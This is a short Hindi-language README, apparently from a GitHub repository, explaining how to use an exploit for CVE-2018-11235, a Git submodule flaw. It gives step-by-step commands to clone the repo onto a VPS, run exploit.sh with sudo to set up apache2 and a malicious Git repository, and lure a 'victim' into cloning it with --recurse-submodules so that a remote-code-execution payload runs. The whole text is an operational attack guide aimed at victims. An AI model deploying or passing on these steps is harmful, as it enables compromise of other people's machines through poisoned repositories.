CVE-2018-11235

1. अपने vps पर ssh करें।
2. इस रिपॉजिटरी को क्लोन करें:

git clone https://github.com/Rezy-Dev/CVE-2018-11235
cd CVE-2018-11235

3. exploit.sh को निष्पादन (x) अनुमति दें फिर इसे चलाएँ:

sudo chmod +x exploit.sh
sudo ./exploit.sh

यह हमारे लिए apache2 डाउनलोड करता है और दुर्भावनापूर्ण रिपॉजिटरी बनाता है।

4. एक बार समाप्त होने पर हम लिंक http://vps-ip/malicious.git को git रिपॉजिटरी के रूप में उपयोग कर सकते हैं।
5. जब पीड़ित इसे इस प्रकार क्लोन करता है:

git clone --recurse-submodules http://vps-ip/malicious.git

RCE पेलोड कमांड निष्पादित होना चाहिए।

धन्यवाद!